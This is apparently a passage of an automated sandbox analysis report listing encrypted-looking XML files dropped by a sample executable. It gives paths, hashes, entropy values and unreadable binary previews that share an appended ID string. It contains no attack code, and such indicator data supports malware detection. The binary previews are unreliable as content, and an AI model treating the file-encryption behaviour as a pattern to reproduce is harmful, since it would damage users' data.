Preview:	<?xmly\|....8xrLt.......#m..n.....@GzNAd.?.K....%B5..">........:.%..I4!{x.(.S&w.ij.&...q.h&..Zc?Uo@..C.z^......S.~..>.Bo......t1I..Z8...h7.G........v%."k.T..o.V..&.....s.].....nW@C..'o..Ru.~o.@................N..S.@Q.....g..e.+...#3...M.Ag.....c.e....h..h....PRQc].=Y,'..SX/..g.%\|a%J.$...n.i..=....?.$..D.D5.H....9.3aD./z.5BL...Ic...SAN..]...f......P..A....i..+..pa.\|.8$.G.m..p%.&i.X\|{..@d..w.I..?w?BO).X7C.-m...$..Id}M...`V..66...mC...d.i./q.yF....]...D\\|.d#G9G8..@..gw...H].).Jfo_..4...T._.,..v#.u..W;.D.ZgM,K.\|^"..L6.3(8...C\|L.>.'.P6G.....3.......i[y;..4..U.........(.qx)....19........!g2.....xz."...... aO..I.3...+q[..b.e.X.........7T...V.a>.....O.j....W.j.u .;..N..#......i.(41..*2.B...w.{....wM..\....AlG8xu.."._7.....%..N.e....P.....:S.....,..ys#...!...>^.H..F.%':s2.73-.m....u.y...L...........C5!F.I.....l..:.0j...+...`.........E....8.......-.]Hp...\|..N{=.tX...N..,p.L~l..:P.t...G...i..U....aE....y....)N[.u.>..rM.&..:...,..F..j.Q....@5..<......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.951343670729796
Encrypted:	false
SSDEEP:	48:RLJngrskwyOJZD8UmF7yJx5qlm6Ty+NyUtW63ZNMA4zeHphZTYZHUjuL2KDHtd6n:/kwyOJJ8zMF6HtFNszY1U0juS8Ht+
MD5:	762FB343D46BE60399EA91771D22724B
SHA1:	6C89EE239962B0BA1521F5FE9D04879A50D3C31A
SHA-256:	1CE49AF627D054F48A3C8B1FE90D09464BDF0DACE1B143AB928E1B4281367D6C
SHA-512:	6A8DA41B332390F34DC723F2D065954E0BFD3FED365731B0776D78BB485D49EE2FC02F5652D46B3FBFCBF90F8FAA4471858BB31D99D5AB58289D51B7845A03EC
Malicious:	false
Preview:	<?xml...o....%.Z.g...FY(...m."....i.........nh........;..n.\|..S.I+....]@,..J.u.2.{......./4.iG....\.\|..H.(Z."~X.=.....6.D....y.l8p....N..@?.:k}Y.~..@....<Els..k....&. ...{..a....n7u..(.,.K.....L..c........T...=8.q........GK...=....~9./.W~...r..Y;.e......C..^~...5@:...K!t\......=..6.AqCP..5.i....+..W.d8...O..w.Oe;....3Kgx[.<[....Xj.$Q..:pR."..A..MOo.U....=.....c.......i...2h.....cp%C.N.&..j..4.._.+\|k....>.......0......z.H>..%..O.A4G..........T..t...?.5..B...\|.a...a....._.oRm....W..1.......a.L5...<...:"]<...Y.KF......?P..^..&.?/...0..D;.(..zy;hC...9..@R...^..=.1.0NY...x..AN.d..8.U.)..IE.J:..?;YR......F.$..e....f..nM..4.a.Sw(.....).....e...[....EW.j....J.43l...9.._.7....Ik.qXy..,.1Zl3'.^49....(Bw.g.no..UNz9p^..kR..u......I\..R......._..+.(.j2.[.N..1...R..X../.9..r.f..`...'..A../H.Z.@..R....Egt...0@t^.`._.>.z@q....q.......I.X.oCa....m...Ku.s...Q.q>.NH..8...&QV_l....v...c..L...W..e.p0,e. Y..HEZ..r>..\|.8.~.J....~.+?.Y[.V.X..+\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.703817543307201
Encrypted:	false
SSDEEP:	12:Pbd5Znd6hBBC3eWoZzEJCqmHdth+doyipEaLXrWTqAA2DM5FZtqObTUs0AujzLRb:zd5fCLCO9zEJqHJRB7BnLN4LRep1sbD
MD5:	690F4483A73E5F0E1B8DB5F568132014
SHA1:	05202AE950D6B90C1343542F2CED44485282A2AD
SHA-256:	9DC97B512E08532C7484EEF7355FEE948E83955723F2E3312AAF090A9520CE93
SHA-512:	FCA49A86778D7937FDC66D97639B67EBFD8565DBE2199D02EA0E1BBE92C2930736628EFE4DF2BCD5221FE6667F85ECF03CF9D2FF989623CA97756F37F508A0FF
Malicious:	false
Preview:	<?xmlx}`(.....!....`.....E............g{.[.\.....\|.W.n.R..>..^..Q.....T.t....X.@......d\|\-PB..M.f#1...h....vt....$.6_..J....v.T.th.PK.G.I2..z..}...Z....vB.U......`....B8..s...Z.>.oG.?b...H!....b.4..Cv..l....6)..g.!....../$S................s.$n..`..!1.+......].9.f.2C.B...zN..l....".#..?.8.O..x0S.Bcq.../.v.*s.{....T..p.g \.Z\|.3....etZ..+...K..b./.R2mz4V..i.c../..'.._.LmF....8J..h.q.$W._...+.o!......./...K.o..p...<?..H.....w".......J;./y.._..K....."Gc..PO/g B8G...J......6.me..a7.....}.R..._...7.....8.{6`_..........3..2...@.f..NR..w...m......m&+..u.~....Q.?..`....P..3.?TP.L.l...b...R......-\.w..Kh&...A.<.2....$......EU%L.Vl.l.r.bwv... ,n>..y.P..{w..%m.."...=...V.C'.x.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.937979908918928
Encrypted:	false
SSDEEP:	48:jB8yzdzqPPqUlx7eeQZMY3J4YjHp1Mvya7IjtceslPV4hyHanOyw8vh1m5aEimD:jp0PqUj7JcLDp1bUzesl94Q6nX65aH+
MD5:	1E7ED162AE97B1FF86C37948C9CC8B57
SHA1:	BDDFDC72F9CEDF83BEDD1E28C5BCC1BBFFDF73E4
SHA-256:	E7CF0BD646B2C12663A62879702E03D8C791C843847F6237775D397C9F8364AF
SHA-512:	DFABAAED8FCE57726F99565C82A879F57289E4F9C4E581FDE10E9148F5F05AA54525599E4E5B57C557960824A6D58E63DE67C50E29E52DEA0D67B3F9C9591460
Malicious:	false
Preview:	<?xml!...>.........'.........?D.l..T.nq#.........@...Mf...mA..e..3.SV.$.;Fu`.X)..~Ud..J.._...%RG'...pT..I...2.9>.q.....#6,.D...s..e1.V6..n}..!..~.Y...u.<....mR..N.s....[L%..9.x.a7..b..mm..2.0r..x....#>..=J.SvcW.............)J.&.2.;..T...@;t.&.....".J.%}.+..c..f..q......o.1..7V.......f6.k.?G..3?g.....F...."o......P.m.&......}..+..v=...c.8...K^s.....5...u.9.z..m...J...{....h..2R!...R..t.\E..q..d..$...Z....#[.jx[h...M#v...#.,...s....4cu.<5.W.>...+]..v//.cN.z...D..v...l..Io%......VkGm.yA.gz.n..G......T...W..P.X.N...f..x.....Qo#...%K.a[..~.I4.p...O$....M...~`{......?......L.B.............e0G..O..V..T.ko..A..Xx1T.7A&.B.A......k....n...{...r....5A.1T....6...A..%!..~..\|..%$/e.x..p.. .\|.U..-.l......u.v}.SQ.79c....U\.>.MM....A)..H..L..Qmm....,..........>...t.#.!...\..Zr..UsS.\|.v?....v8.M.&JqU<O=;.....U...&W...kt.M{....PV....]..y.......B..6......=...x.G....I.....N.y../.>...0..\..F.....+..$..-...E.9'.`....i_I...i1.....`.^..=...$....M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.7511900192433645
Encrypted:	false
SSDEEP:	12:j9mR5o37IPM//wzeeyYF67vhg+YAfhDdDA0sHlHz5Y9yhr6jyI8qZxbtqPQsciik:A28PM/vmEFtJxKHlHzRhr6jyI1btNsbD
MD5:	0DC035B7465E50C6429E3E0E1EDF43EF
SHA1:	BDFD8AF80497FAEB76C830DF10E0655C4B9B2E18
SHA-256:	AB779022EBED0C489D0EFDEBF71D1669D0E97AC21D2F840A26FCCA69F15AC97F
SHA-512:	1D285C6893C205271F727AF1D83D1D933C5DAC446E6315BBEABD9E105C01B057AE7D241EA3DD20C5481A86F0F0153D7AB7124ECB55DE0C0F4336CEAD35B507B3
Malicious:	false
Preview:	<?xml..=...W..G..}.e..j.>.x...[.U..5: )..4.T..7I...+ox.....................CU$...k{4(..x.....;......7=...#...H.@D..ow.>..Y.>...80..".o(.h...(.$..IhP.EH#k.=C.(.BO.U......$....?...1..Z...E.......k..j^.!KJ......n.=L.......4..;`g.=...zny...y..........~)...JZ............e.P..)].#.Q..n...\|.c.+h.T$XIO.b..Wuq+e1..;.vz..a....x:.r.#<@.J.d..yh&..p.......8.h4c.r..j....Z./...\m\|L....J.k.t..a.GK.\[....F...B.hU..l.,'^.m..A.+.....7y%.....?[.Mh2Pp(.0..TL....S.W3'..l......>........Q....2.....RH9zT.....O{......G........d._.....3..!.v..,G..#....2..#2..f.!...D....Rm..f.(..El...Ada.i...y.. n.K.......3...x.HBQ.#.......E:..43....o."vIx..M.....%.a...r....U.%b..&\|.!.....RiU..D...z8.9.t.....0....;!.`.6M/s..X.J.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.939741458186978
Encrypted:	false
SSDEEP:	48:uEdPXXxNVcJsOB5goffR3uNn56ajimexRlJhGQbDPQMW3RnrofywfOSF+zS9emD:uEXxNVcysgoff5uPnjyRliQvjWBnrofb
MD5:	5E97838A36E661131D9F83B152846286
SHA1:	B6DF04D940141E24027D9DA7475CA0A8B1B5FCA2
SHA-256:	E20B0126CE5BFE9EDF0E269F51A47F7441CF5432FD2DDD014C57D4F7E33A3380
SHA-512:	AC1B17BF9D359587574E1C7927833FD694F0D0F571852D1C3B7A546BAD65B58D97EBA58F29CDFC59D20C5F09F47C58181B3C8738ADFB9A7B31D9A9566E461FD8
Malicious:	false
Preview:	<?xml.x.9.<q..8.!yV.5W.r.....0....5.M..v...0$0...C(.\~6h. k....Hr.......S....S..N`3z.#s\q..H...U5.B..zF.T.....N....h.....,....'...O}...V.H...}H.z.P`6..c.......;.w.X..[...&R..^.{....`...k...6.+^Pi.0a_.....&...A.h..aT......O..J."......{77...:.q.K.<%XAY.M.@.q....{...).b..~"6z.u..g6...[...w....P.dV.pc....... W..\....5s.t>...X...r...cjQ...#._..t.X,....j[.+.X.34.3.-.z4................^./..H[G#...+....{.yx.....^........L...h.....HGj......c3...Xg....9..}@..@..kh....'.(..+d..K...~t..uX..e.q.T...$.4.C.{.I.W.!.w4.X..........q......ZM...-.`.q.\|..B(.B{H...gm#(qd..L3..A.;..+.M.ES6\...:.t<.%..:.XGu.s.I......1.Y....._...ZT.#...).~J.:....C......9..._Q....fq.....f...p...RX[..{...\|.<_}....oH.9......C.b..\..#\.?.1.+..>bY..r..%'.[s%.Z....x.^..pl.l....L-..s.......7IGc`..~@..E..,../..V..b....f...7.Sg..5...d..<..f..2/..Mg.`..q..........!:HKgf~....<.....+E..4C.....O4....c.uL........@..g1.L.N.8..}<.....?.J.....~~Z./t.(........m...<...U'.G..(!&.B?....b!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.8266910927714
Encrypted:	false
SSDEEP:	24:bKHUO8oI+csQ1f/TZ8bzDYY9BI2IAA220reB4sbD:2n8Hs83TZ8bzDYYsO20reSmD
MD5:	20F65E138A59C39FB6E483FA1DDE5BFF
SHA1:	9ECA3EB8495EBCDE0EC1C865B9A3DBDB7C5809A1
SHA-256:	F2B3DAD414CB460974A90ECBD04C1FA2F0389F6D38203E753AE21AFC805254D2
SHA-512:	0AC8A619FA88CF585791472675C0FFDB093D5AA1F979577450DC5740AFD508FFB274E36143A87DE33389D0C97068E38C44380DB79C4D94BEFDC00B4366DF9928
Malicious:	false
Preview:	<?xml{%9.B..y..\....okB.J.L.;..L.n...n..>...{........jp..8..q>..1...P..Hd..$...N..B0_..\.+D2.,..W...^..ld....m..3[.....n.V7O.d.P;...&m..f#..ln..>-Q.iax....vB...D.. .;.c.!.^!...V..>-.o..d..AH`....i.)...M&..JB.t...o1..M...Z..,.h..H..%...1.d....yr>...\|U..Br.n...)...Q...SG..Ls.."z]]j..GPQ.y.?".........3.~.#...^...s(=~.i..?D....R..K3.s....C....fc..J.h`G%.C.....>......h?N. .OS.M..^......1H...../....9.,..[.:....(?&..B.t......'....o......X.S.}..js%.x>...... ....m..V.,..y..&..(.8Q.sZ6.0.....".F....,...dg....H...y.T.R.B=q.U]......7..uH..R...F$y...U..f]....\.'.VTM...j.?..`.N.,....1w.aA....f....Fo..........&.c.y..:k+.K?..b..z...j....#.G.=..".VuN..z..@..(....-.NI...Y;V....1....c..8..&........\.Y.g.........?.g\|.....$H..v..Q.._...I...... ......:.^..G.~=/.Ld.1..Tr...n..x......9V.F..M&.Y..z....,'..TM...<{...1..l.?...-O..a.#W.f.....b....4.8..g+....\|..,.L........q...S.2r.&,S.`...,U..I..ies$.Y..g.$9..&!.~...Jf\|&8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.869423886538913
Encrypted:	false
SSDEEP:	24:+dTLJs5ZFSb2LiISuMYnFOMjPtoAnjmSOypkvKmTGnQ/H3asbD:QLJiZMDdhyOMx3aSOypEKm6oH3amD
MD5:	234D8C82A76D5EEE1D11675610A1A2C8
SHA1:	67541650E67208AD9FF345C600A2A73B49368D95
SHA-256:	41B0D3C2DB431A8250BCD965287936FFC296545602EC0662D7A406F23F5188FC
SHA-512:	F66AD2A2E0194DE13F0E44EB4644E01B5FDC99CB3A6CCE66929DDC2782BCE57453DD9FF0DDF44B35D0903EC89CABA4434E9255D62B340E028964B19B2A45D4E6
Malicious:	false
Preview:	<?xml...k.,\w...?.F7...Bz.7.......wb.H..N,........U1W.........'..:....HT.a.CJ..V.1.6.$..C.%.S......7...)._.........b..y..(.}P}.P.......2....f..0..#)..........:..l.fS....,...@. z.b...8..0..o\|I/....m..Xi..::p....P.n.lzP..$.C....k.m,.n.....l'.#\.yP.z...4J.....j...X]@.......f..hy...-4..p\.......Cl.@}...=._!....p..%..{`.3C.8J.P$.G....`k?.84'{oG.;}x...{.0&..e.............4l......@V.M.....;k4.6..N>......(.#.y..f.v...J...q..].z.^.D........B.dk.....+..;N..\|V..W...[Dt.._a.....s...z.+....4....!...\|1~...ql.U. ......+]....&r.7'.G..+.A..1f...o....m.....#................".?.e'.F......)....dZZ.s.'.........Zr......!.Gg7........B.!......x.....O`y..=.Kr.h..PZ9y.......D..Z..e......0p+~..y~..Xn.s..ye.\kE.d......v...>P../.&....)5......g..H..;`X.X..B$Z...+.Mal9.../.:..;4..!.qM.(..d........<i..R.x9....c...Kj...#2..]..Hmi.............f......j..r....ua.r.&.l.3..\m..c......!.'y..$......c.?.d2.5...\|.......w..D.xiQ.;ik.I.[.d.(+..n.T...U..A.!....L..KT.*q7&..6k2.Szr:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.770046816856167
Encrypted:	false
SSDEEP:	12:aVR8+pjQqqnYt2J2ynrqZXR5C406Mg6clMOdXQEiVANGVpUVcOsSV3IUOO/6EOuq:8R8EbF2TyK56M4iWAE+YGVvn439icsbD
MD5:	9F7E432E06AA93969874C8C1CB848BD2
SHA1:	5D585A7A5ADFE32B03A6D547E9D27E195CDF1393
SHA-256:	10416D531CC8E4AA7379501CDF277211CAC6EEA74C76E20E83DC1DCCA3470108
SHA-512:	7A6276EABB98C183026067C2BF2E2B3D9BA6BDFE5101FAA762F99871137A9730ED42EE64318357861313575658BCB563BD9E91EE0F76185BF2BB387D59F89429
Malicious:	false
Preview:	<?xml.?.,]...jA.v....y.....G.J;...3.w/...WY6.8.X...l.y.;...+.v.+..cu./.Ce..-@...{...O.h...H..H..XR..8.;....;.B..oHC8g.qD(.h....../wO.+....DM..GK....$Y.....f...\..$a1.8i/.x..J3.nC"...1rw.>.........AZ.0w\cU....V_k...1N..J.....hB....G.. .r...T......7}o..ra..4wL.l+`.W.r1QAO.f....9..m...i.0..D.\.(.!......y...`....F....T....Hbf..bvt..ql.....6g..p..U.S....=......=..VR..x.F..@f.....&.$QT9...,...c..S..,?..m{.8....^.H$v.4...`u...]....o..N.....&......\..(.U.2Y.t....q......R.LY......2..4.j.`...c..s.`K.2.....K.......F90.b..H.T.uso..j}~..7.b.Du..KA.p...K>u7.j...r5K........zWu..6(+...4}..+.,.J.......x..x.u.M.zOi..].N.%.......^gxsU....R,...z.=..X.K....#Z.d...;.v..{..qt.Pw...b...k..........=3..".@=.YN.5@..q.X1j..M`1.....}c9..`6.Ef.c.5..^..?....}.....i..Nq....x...........h..)~'f..'e....K..Q.k..(..M.Q....>...zEC...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.713639085480815
Encrypted:	false
SSDEEP:	24:ktBIFm5E2BMOUhG8bXIBC2VNKMnJiCpkbWwX5fRi7tlzramEJsbD:JFmW2B9qdbXI1K1hpRsvarmD
MD5:	C6F1FB09CF01C427CB1A6F6942A889AB
SHA1:	DA64ED7EFDA2C2AA80C37B4A3ABB87BDFBD0D702
SHA-256:	F6097846DB5396C55A42DA0D35D4C9F6DBDA34E1B2FE8BC4DC869D68A2912125
SHA-512:	6DA04603B0C2381AB311C0A571294837F6DDFAF7A9425AAFD07C668F6705934C1A30B97219807F2E262BD76D8D13D8C1BFDD6A943C8B08485DCC88C286747026
Malicious:	false
Preview:	<?xml.$.:;U3z6..a....0.F.Q..'..!.[...nr......C..#v.M8y2.A.....)..?...N...z....E.o.q..4..5......K..J..e4...=..!.=..@....>.k;..?S9......F"}.~q...v\|m...q'....}.Y....'.$k......PJ0..p. h:1\ }L.<a..2.\|..;.........%.._#./~......G.8=.....Q...u>.....5......tm@5.....G...mJ.I!.kF....SM=.%.<......].6h.?.......J...B..j~..2.K3.2....-ow..h.5.A...K.XX.....o.f..o.3.B.AEIVG............CnB].;g.FT.C.z...Qz2.mC...6....pZ.J.>..Z..^....1.t4...](.-[.%.....M....'...\..!. .(h.+..j}..........O.]..D..+.tUj.m..1$....p5..#>..VV.t>..c..)...T.."g.......B...@...F..>X..7..Y.f)....-E...r.....@$...<Y...[.Q..{ACN..Q>... .3<.......X)..t..IB.kP..v....3....]..]u.Rt..r,.3.3..y$.aO!]...'.7:.....Vf.h..g.6.0N..Z.....x.[Q+Zt...-Y....c..w<..g.......=t\|..........H.J..;&....08eP.!...Uz.nwM..M[;t.......c.....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.7937251828424845
Encrypted:	false
SSDEEP:	24:Eal6zxSghvMeXfJoJhFV5YtyTNhCf8+OMmsbBeQBaadQC9DLsbD:EaMSo637oOMmOwSJVDLmD
MD5:	AC85D789269F7855DDC2AC8C468E8E5B
SHA1:	C6DC30061D439CC5C4D2A3B5E15388FE7A4E9F28
SHA-256:	6CFEEDE008837725AE126337FCEDA826DA97BBEEB0319E7393417F7AFF5D0170
SHA-512:	6D83EBFCEB1751B5E97E89C964BFB206144CDF776D04D6775F0E804CBF2BEF4DEBC53959B967A1B406471126F0AF47A174B39E160F932D9351800A4FDF59A2E6
Malicious:	false
Preview:	<?xml..........N.r.....q.`.F...-..X~.....ra..6.Q8..]i.R.}..8..n;#Y...).,.A......g......c...c.:.L...}.'...?..D.O......t..@.....y\.=...GC.".Z..}9Qp...d...].......Y.rJ.%\....}.Y.......D.....u.F..U.6v.!..R.G.orj.....J.<Vq\|G.......Obd.E....\|B.+.Z..........j..o!..Z.F.m.r..1...0\|.0J.....R...T.s.8D....!k........2.....BD...5...3.-..Z....f.(..""l.j..{4Nx..j......;L....+a.{...8"?.4)O.Oy.5..k....-....=s..=+9..z..h.;s.{.2..O._....DLc....!....0#.....c....b..~.r.{c[.^p..+......y.T.X..`.w...\|....W.`Z..u..l.cp.-a.;>...d.ye.O8.-...F..&...J.E.pz..-.S.ei......i'...MV-y.U..!...u..8t.t.;a>..:...........m....~.........b3..u.B...QX.c.....H....J...............Y.K.Nr....!tDm.w.O.>..k....Oj.-LP....YT^.G...]=.....)?.z._..}.8.-.\....$+.'.....=%.3,.}.`Uq?.h.....+G..-...@..N.....@..`......2.3zH.?....._...X......D...HC.5.e.'KR..a..-Z!m@v..]J.5k.....A.y@b.(..%G.u.....<!.}...74.x...h.S:.\....c...\.....*. xS}.x........L..0.j.q.....f.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.78299997504755
Encrypted:	false
SSDEEP:	24:6BaAeIilEMS7idnT1vd1ehHDhrfpmvsbD:6glW785VgjYmD
MD5:	BA83C346837018640BCA63A37686E180
SHA1:	2C42112DB56AB209BBA77A103C4B636440367839
SHA-256:	7EF016DC35C7FCF4B87FA4FCB7163944201EB044FD0F2B4A1CBBF85E905C3CC3
SHA-512:	27EA4EB86EBDE9BA4CD2F1A7F794959A66C241D900505A68D9416603A2BF4704EABD2B53A8E4796D113208FC40DD42E23D7CD3983C43FD7B1B349608F76C209F
Malicious:	false
Preview:	<?xml.n=.>.Er.R..H...._..z...E...to......W........=..:BK......2../.7.._S.......A^.^....opa.....(^)......T...g..,...JmD9..i.!...,....f.......1.};=J9X.u..V. i...655....>d........S....t4;....By..\..r.TT..Z9T..uLh...>,.7...D.YG..w...P......\|9..+9.Z.fh.....k......6..8.=.0d..{.]aH.....O..u....'XA......ak...B._J...g.g.c!F.}.,;...b.$mj...Ef\|q.\|.F)9.....-.......F.<V.W}.%C;...C%.Y......x.C.Z:...tl.%...P................@.fP.m..P....U..F.[.....4..g.....!@.H.[.A........e.H....6$H.>)..5.....D..u.T....m.A.1V.T/^...25..q>B.1.7.4...u(8.....!#M.0;..u.l.(5..26....]...X..}9...Z..V....z...1.@...#2..iq....H..<]:..`..g.l...t...!.....X.2M...!......\......=.,..:.a.....dI...H&9.7#..i.........e...m.....j.......Utx.N2.-u2m&.g'..I....[..r...\|..#w~g...t..4_.".#_....N.I...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.978941265874362
Encrypted:	false
SSDEEP:	192:tplxFWdrkoZD9rEUxKVmuJRuRRcHjJHR2BFV15+:tplxwdZpVxKAuJRs6HJEBJY
MD5:	793E1629C6C536E298C78B36D4348130
SHA1:	44C9BAAF4F38ED98B9F76DCD30A2427ED1264B20
SHA-256:	54B48E981FB3CC5B6B5FAA9672FB08B8B1D470FCB064CE439B195510F93AA83D
SHA-512:	E8E7EB7DE0732FBBA001F75D5F9FFCAC7B26BC02C54139E54B2DA3617A8ADFD1724850B7431114D9C77599E75DA78064A52B98FC0AD436C37FD8EB612B744A26
Malicious:	false
Preview:	<?xml.sv.......f..0...k............~........i.UO6E..P..l.....rU.6+2....-.#.......']Q.o>.6L(....$.r.t0:-.V.....Aa.@.(^...v.K%..E.:..Q..k..=.....Ti-....k.C....."E?.. .]^.;..9......x..a7>6....]ca.4...9\|....3J,K.k.!..f.K.. ..g.i...hN.+..j`vX...D...165+s...t....J.dn.y...6p...j......<.57.x...}.G...9..IkW^f.z..D........G...\|#..?.=.W...A._...7.$A.W..yp'=x48.6.f.....T($Z.g..epo.<.?b.........Q...3..a....FM.....G. ....F.Fd..{J..m...80V$..$..n.L...}.]%0.V/....i.S....F...=U..0.....BS_.....1D....o..H....:.?..E..[V...`....S....2.D...c.. ge.I.v...P.@.,..Aw.u..08..H.^....L5<.W.L...q.%:t.8..+....D..3.g..U...\|.g.b. .....U..I.v.$6.h^..[....Q.... 6s....o....-.....P... ..EZ...\&..>/.Q.......H....!>6./,sK.t.c....Bb....&..C....}_Th.c&w....$.&.mxz..l.J#Gj)..:...J..e.v.L*......Z}{..V^.`.-p..^....yD.._^F..1.`...H3V/d...-.}1....DX.5a..(#o..".(iHw.]... .10.$.{.(.....O.IJ..H.....O.K..Y\|.%..9.H.$.d.....MK.g.D.......@..t....W.\|3..B/1....)...}....[/8...%...:i_.J..@.~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.804938157136422
Encrypted:	false
SSDEEP:	24:YSDzgsLejKMzo5k9Y+3+kNrUL6+xzBaFN4X6UnxMQ+v3j5eg6RQ6gO23J/gcCsbD:/gsoKMzokX3hNrIRVX6+6N7UpQ67QNTz
MD5:	BC48E94855817779264BBDCD7EBD6455
SHA1:	A22C1A5071E08B142BD54A413C33B698B92A1B38
SHA-256:	A3373F9F6EF51CE79EF64E1BAAB770654A9DA94B62FAAE5FD8DCA187B5BBFC07
SHA-512:	B53F5A43B8E670FA76D6512E92C965ED62DD3FC31C892534BAFD490EEFA8B498C1A7C21DAE6DF15F3C66666FA028F050417765F8FCE3BC6572EEDA3E0B10EA27
Malicious:	false
Preview:	<?xml.0...v.h.#..\l.....I....=..^..M]...z..r...._..9.C..eT<hc.mW...0..v;'.?..]..$p...P.....[.........e.AA.Z3}...Kuk-o.?L.e....^.%m..J4.F5'..2;.......$..sm.w.U.....Q..tq.xu...6.2..xN;.^..L.......4"z..U>....w.z2 ...y#..#..7.")...S7..x.}U.6..:8E...e>.J.W..K.J}...........\...U...[G>I0J..p.<..e.....J.U.+.-.C.['KZ..PYG..OB..M.....fQP4K....'....u....6..Xu5w.../...5..04...PJG+~^.!..\|.^.v"u1e..&.1.#..[.F.Q.XE..........7X........K....`..X..1....m.qo..D...e....+..C...d.q.j.{..(&.....Y.O.m.. "Hy.t..../.{\|G8....._S..4..{/..K4\|..I.4.O.\.x.8Q.h.#?...rt..=.LI....0.6...W.-K.e..\8....4.Pm...w..y...(e....[...l. X..ei2%Q..z.W5......,......... ;.8....]:.\@...f.6Oy.y.(.?.........4.S..._e.w....K....f...0u.-Y......2J.XV.L....P..h.V......Y2.[.. f..W........Di.J...Q..-Tt]..Wo.EJ. ...s.ew.c....Y......U.Si9.)x. [.....a......v.'..:3...I^.{..X.9.d.......'K.I........L..>..l.j..-.s.(.....sp.........H1{%^.."...wx.z..;.<2..+....9...?..6..N..T8j,..>1@........v]....R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.818512921904974
Encrypted:	false
SSDEEP:	24:4pGT8Ef0frttoEo/rMewljM2oMFUDW2L1mLK4fSQ4xCOf0sbD:OUYDen2olDRC/fuxLf0mD
MD5:	5FACCE5730C39810366E787AD4002D21
SHA1:	B277A0B515B085B3C1152968347BACAF6AA4A518
SHA-256:	2B09411D809F7F241BEF123FD31BE1306A247435DCB70CC731D4AF835E16E187
SHA-512:	E4F0A6B0435CC39E75CE0952ADAE75F7C35E61FE1D1B69528FDC70AFDE3740614DC9A6523CDCA2D0377B81EDC77F4124FDA76846CF14E28C125CC258E5E28B4A
Malicious:	false
